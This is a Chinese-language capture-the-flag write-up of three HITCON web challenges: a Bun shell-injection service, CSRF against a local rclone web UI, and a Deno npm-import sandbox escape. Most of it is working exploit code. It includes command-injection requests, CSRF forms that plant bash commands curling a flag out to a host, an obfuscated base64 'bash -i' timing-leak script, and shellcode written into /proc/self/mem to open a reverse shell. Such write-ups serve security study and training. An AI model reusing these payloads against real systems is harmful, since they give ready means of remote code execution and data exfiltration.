Echo as a Service
这里先放出源码
import { $ } from "bun";
const server = Bun.serve({
host: "0.0.0.0",
port: 1337,
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/") {
return new Response(`
<p>Welcome to echo-as-a-service! Try it out:</p>
<form action="/echo" method="POST">
<input type="text" name="msg" />
<input type="submit" value="Submit" />
</form>
`.trim(), { headers: { "Content-Type": "text/html" } });
}
else if (url.pathname === "/echo") {
const msg = (await req.formData()).get("msg");
if (typeof msg !== "string") {
return new Response("Something's wrong, I can feel it", { status: 400 });
}
const output = await $`echo ${msg}`.text();
return new Response(output, { headers: { "Content-Type": "text/plain" } });
}
}
});
console.log(`listening on http://localhost:${server.port}`);
这里因为题目describe说要RCE所以这里直接能定位到
const output = await $`echo ${msg}`.text();
return new Response(output, { headers: { "Content-Type": "text/plain" } });
}
}
});
这里通过bun的docs
对比一下当前版本和1.1.8版本在使用shell的区别
当前
{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`',
'$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' }
1.1.8
{ '$', '>', '&', '|', '=', ';', '\n', '{', '}',
',', '(', ')', '\\', '\"', ' ', '\'' }
可以看见可以进行subshell,并且可以利用<来写入文件
所以就这样
/readflag give me the flag1<test
最终脚本
cmd = ['/readflag\tgive\tme\tthe\tflag1<flag.sh', '`sh<flag.sh`']
[print(__import__("requests").post("http://192.168.174.128:32768/echo", data={'msg': cmd[x]}).text) for x in range(2)]
可以看到读到了。
RClonE
题目描述
Rclone is a CLI that syncs your files to various cloud storage. But do you know it also have a built-in web UI?
然后这里我们主要看一下大概的逻辑
bot.js
const visit = async url => {
let context = null
try {
if (!browser) {
const args = ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage']
if (new URL(SITE).protocol === 'http:') {
args.push(`--unsafely-treat-insecure-origin-as-secure=${SITE}`)
}
browser = await puppeteer.launch({
headless: 'new',
args
})
}
context = await browser.createBrowserContext()
const page1 = await context.newPage()
await page1.goto(LOGIN_URL)
await page1.close()
const page2 = await context.newPage()
await Promise.race([
page2.goto(url, {
waitUntil: 'networkidle0'
}),
sleep(5000)
])
await page2.close()
await context.close()
context = null
} catch (e) {
console.log(e)
} finally {
if (context) await context.close()
}
}
app.js
app.get('/', (req, res) => {
res.send(INDEX_HTML)
})
app.post('/submit', async (req, res) => {
const { url } = req.body
if (!url || !URL_CHECK_REGEX.test(url)) {
return res.status(400).send('Invalid URL')
}
try {
console.log(`[+] Sending ${url} to bot`)
await visit(url)
res.send('OK')
} catch (e) {
console.log(e)
res.status(500).send('Something is wrong...')
}
})
这里我们搭建起来环境
可以看到是一个传url的地方,这里盲猜一下是ssrf,因为一般都出现在这种请求当中,并且我们可以发现源码并没有对其做过滤。
这里我们用webhook测试一下
可以看到是做了一个请求的。
https://rclone.org/sftp/#sftp-ssh
然后通过这个rclone官网可以看见我们可以利用sftp去在ssh执行命令的。所以我们可以先创建一个远程的SFTP地址。
然后如果我们需要创建一个remote的SFTP服务,我们可以通过请求这个路由来进行创建http://xxxx:5527/config/creat
curl -X POST -d '{"name": "my_sftp_remote", "type": "sftp", "parameters": {"host": "sftp.example.com", "user": "username", "pass": "password"}}' http://localhost:5572/config/create
这样子我们就可以创建一个remote,然后我们写成html可以这样
<form action="http://192.168.174.128:5572/config/create" method="POST" id="cfgform" target="_blank">
<input name="name" value="yy" />
<input name="type" value="sftp" />
<!-- https://github.com/rclone/rclone/blob/7b8bbe531e0f062254b2d8ffe1e6284cd62309f6/fs/config/rc.go#L150 will parse parameters using json.Unmarshal -->
<input name="parameters" />
<button type="submit">Create</button>
</form>
<script>
cfgform.parameters.value = JSON.stringify({
// ssh: 'bash -c "touch /tmp/pwned"'
ssh: `bash -c "curl http://192.168.174.128:8080/submit -d url=http://${location.host}/flag?flag=$(/readflag)"`
})
</script>
然后后面的js是为了把ssh要执行的命令先写进去然后在后面访问的时候让他自动触发
<form action="http://192.168.174.128:5572/operations/list" method="POST" id="listform" target="_blank">
<input name="fs" value="yy:" />
<input name="remote" value="" />
<button type="submit">Do List</button>
</form>
<script>
cfgform.submit()
setTimeout(() => {
listform.submit()
}, 1500)
</script>
<img src="/delay.php?seconds=5" />
<!-- hitcon{easy_peasy_rce_using_csrf_attacking_local_server} -->
这样子就会触发让他执行上面写的ssh命令然后把内容外带出来。
然后另外一个队伍的wp是这么写的,因为rclone不出网所以利用二分法进去把flag leak出来
import requests
import base64
import time
url = "http://rclone.chal.hitconctf.com:30068/submit"
# run it first
# php -S 0.0.0.0:3000 exp.html
exp1 = """
<form id="rce" method="post" action="http://rclone:5572/config/create">
<input name="name" value="u">
<input name="type" value="webdav">
<input name="parameters" value='{{"bearer_token_command":"{}", "url":"http://bot:8000"}}'>
</form>
<script>
rce.submit();
</script>
"""
exp2 = """
<form id="form" method="post" action="http://rclone:5572/operations/list">
<input type="hidden" name="fs" value="u:" />
<input type="hidden" name="remote" value="" />
</form>
<script>
form.submit();
</script>
"""
flag = "aGl0Y29ue2Vhc3lfcGVhc3lfcmNlX3VzaW5nX2NzcmZfYXR0YWNraW5nX2xvY2FsX3"
wordlist = "+/0123456789=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
def foo(c, opt):
with open("exp.html", "w") as f:
payload = f"[[ $(/readflag|base64) {opt} {flag}{c}* ]] && sleep 5"
payload = base64.b64encode(payload.encode()).decode()
payload = f"bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}"
f.write(exp1.format(payload))
r = requests.post(url, data={"url": "https://dev.vincent55.tw"})
with open("exp.html", "w") as f:
f.write(exp2)
start = time.time()
requests.post(url, data={"url": "https://dev.vincent55.tw"})
end = time.time()
if end - start > 4:
return True
return False
while True:
lb = -1
rb = 65
while lb + 1 < rb:
m = (lb + rb) // 2
if foo(wordlist[m], ">"):
lb = m
else:
rb = m
flag += wordlist[lb]
print(flag)
Truth of NPM
首先我们看到query.tsx文件中有这么一个函数
async function queryPackage(packageName: string) {
if (cache.has(packageName)) {
return cache.get(packageName) as CachedPackageQueryResult
}
const pkgjson: PackageJson | null = await (async () => {
try {
const module = await import(`npm:${packageName}/package.json`, {
with: {
type: 'json'
}
})
return module.default
} catch {
return null
}
})()
if (!pkgjson) {
const ps = await asyncMapToArray(walkPackageFiles(npmDir), entry => Deno.remove(entry.path))
await Promise.all(ps)
return null
}
let totalSize = 0
const ps = await asyncMapToArray(walkPackageFiles(npmDir), async entry => {
const { size } = await Deno.stat(entry.path)
totalSize += size
return Deno.remove(entry.path)
})
await Promise.all(ps)
const ret = { size: totalSize, pkgjson }
cache.set(packageName, ret)
return ret
}
这里我们可以看到
const module = await import(`npm:${packageName}/package.json`, {
with: {
type: 'json'
}
})
这里他会自动import一个包,这个包可以是remote的。
然后在import完之后
if (!pkgjson) {
const ps = await asyncMapToArray(walkPackageFiles(npmDir), entry => Deno.remove(entry.path))
await Promise.all(ps)
return null
}
他就会删掉原来的你install包中的文件,但是因为这个删除用的是这个函数fs.walk
async function* walkPackageFiles(npmDir: string) {
for await (const entry of fs.walk(npmDir)) {
if (entry.isDirectory) continue
// registry.json is generated by deno
if (entry.name !== 'registry.json') {
yield entry
}
}
}
他的特性就是会保留非utf-8编码的文件即tsx文件。
然后在main函数中
import { Hono, Context } from 'hono'
import { rateLimiter } from './utils.ts'
const app = new Hono()
app.use(rateLimiter(1))
app.use(async (c: Context) => {
const page = c.req.path.slice(1) || 'index'
try {
const { handler } = await import(`./pages/${page}.tsx`)
return handler(c)
} catch {
return c.html('404 Not Found', 404)
}
})
export default app
你访问你包的名称就会自动import下来,就可以执行命令了,但是我们都是在Deno的沙箱中的,所以我们要执行命令的话要绕一下沙箱
这里具体还没研究透怎么绕的呜呜呜还得花点时间
exp.tsx
export const handler = async c->{
const body = await c.req.text()
return c.text(eval(body))
}
exp.js(绕沙箱)
try {
Deno.removeSync('/tmp/self')
} catch {}
Deno.symlinkSync('/proc/self', '/tmp/self') // bypass https://github.com/denoland/deno/security/advisories/GHSA-23rx-c3g5-hv9w
const maps = Deno.readTextFileSync('/tmp/self/maps')
const first = maps.split('\n').find(x => x.includes('deno'))
const offset = 0x401c2c0 // p &Builtins_JsonStringify-0x555555554000
const base = parseInt(first.split('-')[0], 16)
const addr = base + offset
console.log('&Builtins_JsonStringify', addr.toString(16))
const mem = Deno.openSync('/tmp/self/mem', {
write: true
})
/*
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.connect('127.0.0.1', 3535, 'ipv4') + shellcraft.dupsh())
print(list(sc))
*/
const shellcode = new Uint8Array([
106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 72, 137, 197, 72, 184, 1, 1, 1, 1, 1, 1, 1, 2, 80, 72, 184, 3, 1,
12, 206, 126, 1, 1, 3, 72, 49, 4, 36, 106, 42, 88, 72, 137, 239, 106, 16, 90, 72, 137, 230, 15, 5, 72, 137, 239,
106, 2, 94, 106, 33, 88, 15, 5, 72, 255, 206, 121, 246, 106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80,
72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230,
49, 210, 106, 59, 88, 15, 5
])
mem.seekSync(addr, Deno.SeekMode.Start)
mem.writeSync(shellcode)
JSON.stringify('pwned')
/*
1. create a npm package with filename includes invalid utf-8 and publish (tar czf package.tar.gz exppkg && npm publish package.tar.gz --access public)
2. curl 'http://localhost:8000/query?package=@maple3142/exploit_of_truth_of_npm'
3. curl --path-as-is 'http://localhost:8000/../../deno-dir/npm/registry.npmjs.org/@maple3142/exploit_of_truth_of_npm/0.0.1/exp%ff' -T exp.js
*/
// hitcon{the_fix_that_does_not_really_address_the_issue}